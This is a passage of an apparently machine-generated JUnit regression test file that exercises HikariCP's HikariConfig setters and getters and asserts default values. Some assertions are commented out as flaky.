// flaky: org.junit.Assert.assertTrue("'" + long16 + "' != '" + 35L + "'", long16 == 35L);
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + false + "'", boolean18 == false);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 100 + "'", int19 == 100);
}
@Test
public void test19404() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19404");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
hikariConfig1.setRegisterMbeans(false);
java.lang.String str8 = hikariConfig1.getDataSourceClassName();
hikariConfig1.transactionIsolation = (short) 1;
long long11 = hikariConfig1.getConnectionTimeout();
java.lang.String str12 = hikariConfig1.connectionCustomizerClassName;
long long13 = hikariConfig1.getMaxLifetime();
javax.sql.DataSource dataSource14 = hikariConfig1.dataSource;
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.maxPoolSize = '4';
hikariConfig1.leakDetectionThreshold = (short) 100;
javax.sql.DataSource dataSource21 = null;
hikariConfig1.dataSource = dataSource21;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str8);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 10L + "'", long11 == 10L);
org.junit.Assert.assertNull(str12);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 35L + "'", long13 == 35L);
org.junit.Assert.assertNull(dataSource14);
}
@Test
public void test19405() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19405");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
java.lang.String str4 = hikariConfig1.connectionTestQuery;
hikariConfig1.setMaximumPoolSize(87);
java.lang.String str7 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.minPoolSize = (-1);
hikariConfig1.transactionIsolationName = "HikariPool-21167";
boolean boolean12 = hikariConfig1.isAutoCommit;
org.junit.Assert.assertNull(str4);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + true + "'", boolean12 == true);
}
@Test
public void test19406() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19406");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
java.lang.String str12 = hikariConfig1.getCatalog();
long long13 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.setUseInstrumentation(false);
long long16 = hikariConfig1.getLeakDetectionThreshold();
int int17 = hikariConfig1.getTransactionIsolation();
boolean boolean18 = hikariConfig1.isAutoCommit;
java.lang.String str19 = hikariConfig1.getCatalog();
int int20 = hikariConfig1.acquireRetries;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertTrue("'" + long13 + "' != '" + 0L + "'", long13 == 0L);
org.junit.Assert.assertTrue("'" + long16 + "' != '" + 0L + "'", long16 == 0L);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + true + "'", boolean18 == true);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertTrue("'" + int20 + "' != '" + 3 + "'", int20 == 3);
}
@Test
public void test19407() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19407");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.transactionIsolation;
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.setDataSourceClassName("HikariPool-320");
hikariConfig1.idleTimeout = 0L;
hikariConfig1.setTransactionIsolation("HikariPool-316");
hikariConfig1.transactionIsolationName = "HikariPool-413";
hikariConfig1.setAutoCommit(false);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
}
@Test
public void test19408() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19408");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.isInitializationFailFast = true;
int int9 = hikariConfig1.maxPoolSize;
long long10 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.setInitializationFailFast(false);
int int13 = hikariConfig1.transactionIsolation;
hikariConfig1.transactionIsolation = 3;
int int16 = hikariConfig1.getAcquireRetries();
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + long10 + "' != '" + 100L + "'", long10 == 100L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 3 + "'", int16 == 3);
}
@Test
public void test19409() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19409");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
int int9 = hikariConfig1.minPoolSize;
int int10 = hikariConfig1.minPoolSize;
hikariConfig1.isInitializationFailFast = false;
java.lang.String str13 = hikariConfig1.getCatalog();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer14 = hikariConfig1.connectionCustomizer;
hikariConfig1.setIdleTimeout((long) '#');
hikariConfig1.setAcquireRetries(0);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer19 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer19;
java.lang.String str21 = hikariConfig1.catalog;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 1 + "'", int9 == 1);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 1 + "'", int10 == 1);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNull(iConnectionCustomizer14);
org.junit.Assert.assertNull(str21);
}
@Test
public void test19410() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19410");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4ConnectionTest();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getTransactionIsolation();
hikariConfig6.setRegisterMbeans(false);
java.lang.String str10 = hikariConfig6.transactionIsolationName;
long long11 = hikariConfig6.getIdleTimeout();
java.lang.String str12 = hikariConfig6.getCatalog();
java.lang.String str13 = hikariConfig6.getConnectionTestQuery();
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
hikariConfig15.dataSourceClassName = "";
java.util.Properties properties18 = hikariConfig15.dataSourceProperties;
hikariConfig6.setDataSourceProperties(properties18);
hikariConfig1.dataSourceProperties = properties18;
hikariConfig1.connectionInitSql = "HikariPool-306";
hikariConfig1.setCatalog("");
hikariConfig1.minPoolSize = (byte) 100;
java.lang.String str27 = hikariConfig1.getConnectionInitSql();
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 60L + "'", long11 == 60L);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertEquals("'" + str27 + "' != '" + "HikariPool-306" + "'", str27, "HikariPool-306");
}
@Test
public void test19411() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19411");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setConnectionInitSql("");
hikariConfig1.isAutoCommit = true;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
}
@Test
public void test19412() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19412");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
java.lang.String str10 = hikariConfig1.getCatalog();
hikariConfig1.transactionIsolation = 100;
hikariConfig1.setMaxLifetime((long) (byte) 10);
long long15 = hikariConfig1.leakDetectionThreshold;
java.lang.String str16 = hikariConfig1.getCatalog();
java.util.Properties properties17 = hikariConfig1.dataSourceProperties;
long long18 = hikariConfig1.maxLifetime;
hikariConfig1.setCatalog("HikariPool-760");
hikariConfig1.setIdleTimeout((long) ' ');
hikariConfig1.setLeakDetectionThreshold((long) (short) 0);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + long15 + "' != '" + 0L + "'", long15 == 0L);
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertNotNull(properties17);
org.junit.Assert.assertTrue("'" + long18 + "' != '" + 10L + "'", long18 == 10L);
}
@Test
public void test19413() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19413");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.poolName = "hi!";
javax.sql.DataSource dataSource5 = null;
hikariConfig1.dataSource = dataSource5;
long long7 = hikariConfig1.getIdleTimeout();
hikariConfig1.leakDetectionThreshold = 0L;
hikariConfig1.isInitializationFailFast = false;
hikariConfig1.maxPoolSize = (short) 1;
hikariConfig1.acquireRetries = 3;
boolean boolean16 = hikariConfig1.isRegisterMbeans;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 60L + "'", long7 == 60L);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + false + "'", boolean16 == false);
}
@Test
public void test19414() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19414");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.isAutoCommit = true;
long long10 = hikariConfig1.getIdleTimeout();
hikariConfig1.setAutoCommit(true);
long long13 = hikariConfig1.maxLifetime;
hikariConfig1.setCatalog("HikariPool-252");
hikariConfig1.setCatalog("HikariPool-230");
java.lang.String str18 = hikariConfig1.getCatalog();
javax.sql.DataSource dataSource19 = hikariConfig1.getDataSource();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 60L + "'", long10 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 35L + "'", long13 == 35L);
org.junit.Assert.assertEquals("'" + str18 + "' != '" + "HikariPool-230" + "'", str18, "HikariPool-230");
org.junit.Assert.assertNull(dataSource19);
}
@Test
public void test19415() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19415");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
hikariConfig1.maxPoolSize = (short) -1;
java.lang.String str8 = hikariConfig1.getPoolName();
boolean boolean9 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setUseInstrumentation(true);
boolean boolean12 = hikariConfig1.isAutoCommit();
hikariConfig1.setMaximumPoolSize(10);
java.lang.String str15 = hikariConfig1.getConnectionTestQuery();
// flaky: org.junit.Assert.assertEquals("'" + str8 + "' != '" + "HikariPool-51312" + "'", str8, "HikariPool-51312");
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + true + "'", boolean12 == true);
org.junit.Assert.assertNull(str15);
}
@Test
public void test19416() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19416");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.idleTimeout = (byte) -1;
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
int int14 = hikariConfig13.getTransactionIsolation();
hikariConfig13.setRegisterMbeans(false);
hikariConfig13.dataSourceClassName = "";
hikariConfig13.setTransactionIsolation("");
java.util.Properties properties21 = null;
com.zaxxer.hikari.HikariConfig hikariConfig22 = new com.zaxxer.hikari.HikariConfig(properties21);
int int23 = hikariConfig22.getTransactionIsolation();
hikariConfig22.setRegisterMbeans(false);
hikariConfig22.isInitializationFailFast = true;
int int28 = hikariConfig22.acquireRetries;
hikariConfig22.setMaxLifetime((long) (-1));
int int31 = hikariConfig22.getTransactionIsolation();
java.util.Properties properties32 = null;
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties32);
int int34 = hikariConfig33.getTransactionIsolation();
hikariConfig33.setRegisterMbeans(false);
java.lang.String str37 = hikariConfig33.transactionIsolationName;
int int38 = hikariConfig33.getMaximumPoolSize();
int int39 = hikariConfig33.transactionIsolation;
java.util.Properties properties40 = hikariConfig33.dataSourceProperties;
hikariConfig22.setDataSourceProperties(properties40);
hikariConfig13.dataSourceProperties = properties40;
com.zaxxer.hikari.HikariConfig hikariConfig43 = new com.zaxxer.hikari.HikariConfig(properties40);
hikariConfig1.dataSourceProperties = properties40;
long long45 = hikariConfig1.idleTimeout;
boolean boolean46 = hikariConfig1.isAutoCommit();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertTrue("'" + int23 + "' != '" + (-1) + "'", int23 == (-1));
org.junit.Assert.assertTrue("'" + int28 + "' != '" + 3 + "'", int28 == 3);
org.junit.Assert.assertTrue("'" + int31 + "' != '" + (-1) + "'", int31 == (-1));
org.junit.Assert.assertTrue("'" + int34 + "' != '" + (-1) + "'", int34 == (-1));
org.junit.Assert.assertNull(str37);
org.junit.Assert.assertTrue("'" + int38 + "' != '" + 60 + "'", int38 == 60);
org.junit.Assert.assertTrue("'" + int39 + "' != '" + (-1) + "'", int39 == (-1));
org.junit.Assert.assertNotNull(properties40);
org.junit.Assert.assertTrue("'" + long45 + "' != '" + (-1L) + "'", long45 == (-1L));
org.junit.Assert.assertTrue("'" + boolean46 + "' != '" + true + "'", boolean46 == true);
}
@Test
public void test19417() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19417");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
hikariConfig1.setMaxLifetime((long) 3);
boolean boolean13 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setRegisterMbeans(false);
boolean boolean16 = hikariConfig1.isAutoCommit();
hikariConfig1.setConnectionTestQuery("HikariPool-531");
long long19 = hikariConfig1.leakDetectionThreshold;
java.util.Properties properties20 = null;
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties20);
int int22 = hikariConfig21.getTransactionIsolation();
hikariConfig21.setRegisterMbeans(false);
java.lang.String str25 = hikariConfig21.transactionIsolationName;
long long26 = hikariConfig21.getIdleTimeout();
java.lang.String str27 = hikariConfig21.getCatalog();
java.lang.String str28 = hikariConfig21.getConnectionTestQuery();
javax.sql.DataSource dataSource29 = hikariConfig21.getDataSource();
hikariConfig21.setConnectionInitSql("HikariPool-465");
java.util.Properties properties32 = hikariConfig21.getDataSourceProperties();
java.util.Properties properties33 = null;
com.zaxxer.hikari.HikariConfig hikariConfig34 = new com.zaxxer.hikari.HikariConfig(properties33);
boolean boolean35 = hikariConfig34.isAutoCommit;
hikariConfig34.poolName = "hi!";
java.lang.String str38 = hikariConfig34.dataSourceClassName;
java.lang.String str39 = hikariConfig34.dataSourceClassName;
hikariConfig34.setJdbc4ConnectionTest(false);
int int42 = hikariConfig34.maxPoolSize;
hikariConfig34.isRegisterMbeans = false;
boolean boolean45 = hikariConfig34.isInitializationFailFast();
hikariConfig34.setDataSourceClassName("HikariPool-68");
java.util.Properties properties48 = hikariConfig34.dataSourceProperties;
hikariConfig21.setDataSourceProperties(properties48);
hikariConfig1.setDataSourceProperties(properties48);
com.zaxxer.hikari.HikariConfig hikariConfig51 = new com.zaxxer.hikari.HikariConfig(properties48);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
org.junit.Assert.assertTrue("'" + long19 + "' != '" + 0L + "'", long19 == 0L);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNull(str25);
// flaky: org.junit.Assert.assertTrue("'" + long26 + "' != '" + 60L + "'", long26 == 60L);
org.junit.Assert.assertNull(str27);
org.junit.Assert.assertNull(str28);
org.junit.Assert.assertNull(dataSource29);
org.junit.Assert.assertNotNull(properties32);
org.junit.Assert.assertTrue("'" + boolean35 + "' != '" + true + "'", boolean35 == true);
org.junit.Assert.assertNull(str38);
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertTrue("'" + int42 + "' != '" + 60 + "'", int42 == 60);
org.junit.Assert.assertTrue("'" + boolean45 + "' != '" + false + "'", boolean45 == false);
org.junit.Assert.assertNotNull(properties48);
}
@Test
public void test19418() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19418");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
boolean boolean8 = hikariConfig1.isJdbc4connectionTest;
long long9 = hikariConfig1.getConnectionTimeout();
hikariConfig1.setTransactionIsolation("HikariPool-391");
hikariConfig1.connectionInitSql = "HikariPool-2309";
java.lang.String str14 = hikariConfig1.getConnectionTestQuery();
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + true + "'", boolean8 == true);
org.junit.Assert.assertTrue("'" + long9 + "' != '" + 10L + "'", long9 == 10L);
org.junit.Assert.assertEquals("'" + str14 + "' != '" + "HikariPool-104" + "'", str14, "HikariPool-104");
}
@Test
public void test19419() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19419");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
hikariConfig1.acquireRetries = (short) 10;
int int8 = hikariConfig1.getAcquireIncrement();
java.lang.String str9 = hikariConfig1.connectionInitSql;
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setMaxLifetime((long) 35);
hikariConfig1.setConnectionTestQuery("HikariPool-11160");
hikariConfig1.setInitializationFailFast(false);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 0 + "'", int8 == 0);
org.junit.Assert.assertNull(str9);
}
@Test
public void test19420() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19420");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
long long9 = hikariConfig1.maxLifetime;
java.lang.String str10 = hikariConfig1.dataSourceClassName;
java.lang.String str11 = hikariConfig1.catalog;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 35L + "'", long9 == 35L);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(str11);
}
@Test
public void test19421() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19421");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getConnectionTestQuery();
javax.sql.DataSource dataSource8 = hikariConfig1.dataSource;
hikariConfig1.setIdleTimeout((long) (byte) 10);
hikariConfig1.setMaximumPoolSize((int) (byte) 1);
hikariConfig1.leakDetectionThreshold = 1L;
hikariConfig1.setUseInstrumentation(false);
java.lang.Class<?> wildcardClass17 = hikariConfig1.getClass();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(dataSource8);
org.junit.Assert.assertNotNull(wildcardClass17);
}
@Test
public void test19422() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19422");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-104";
hikariConfig1.maxPoolSize = (short) 100;
java.lang.String str11 = hikariConfig1.getPoolName();
hikariConfig1.isRegisterMbeans = true;
long long14 = hikariConfig1.getMaxLifetime();
java.lang.String str15 = hikariConfig1.poolName;
javax.sql.DataSource dataSource16 = null;
hikariConfig1.setDataSource(dataSource16);
java.lang.String str18 = hikariConfig1.transactionIsolationName;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
// flaky: org.junit.Assert.assertEquals("'" + str11 + "' != '" + "HikariPool-51326" + "'", str11, "HikariPool-51326");
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 35L + "'", long14 == 35L);
// flaky: org.junit.Assert.assertEquals("'" + str15 + "' != '" + "HikariPool-51326" + "'", str15, "HikariPool-51326");
org.junit.Assert.assertNull(str18);
}
@Test
public void test19423() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19423");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
long long2 = hikariConfig1.getIdleTimeout();
int int3 = hikariConfig1.acquireRetries;
long long4 = hikariConfig1.getConnectionTimeout();
java.lang.String str5 = hikariConfig1.connectionInitSql;
long long6 = hikariConfig1.getMaxLifetime();
// flaky: org.junit.Assert.assertTrue("'" + long2 + "' != '" + 60L + "'", long2 == 60L);
org.junit.Assert.assertTrue("'" + int3 + "' != '" + 3 + "'", int3 == 3);
// flaky: org.junit.Assert.assertTrue("'" + long4 + "' != '" + 10L + "'", long4 == 10L);
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 35L + "'", long6 == 35L);
}
@Test
public void test19424() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19424");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = hikariConfig1.connectionCustomizer;
hikariConfig1.setDataSourceClassName("HikariPool-517");
javax.sql.DataSource dataSource13 = null;
hikariConfig1.dataSource = dataSource13;
javax.sql.DataSource dataSource15 = hikariConfig1.dataSource;
int int16 = hikariConfig1.getTransactionIsolation();
boolean boolean17 = hikariConfig1.isInitializationFailFast;
long long18 = hikariConfig1.maxLifetime;
boolean boolean19 = hikariConfig1.isInitializationFailFast();
java.lang.String str20 = hikariConfig1.connectionInitSql;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
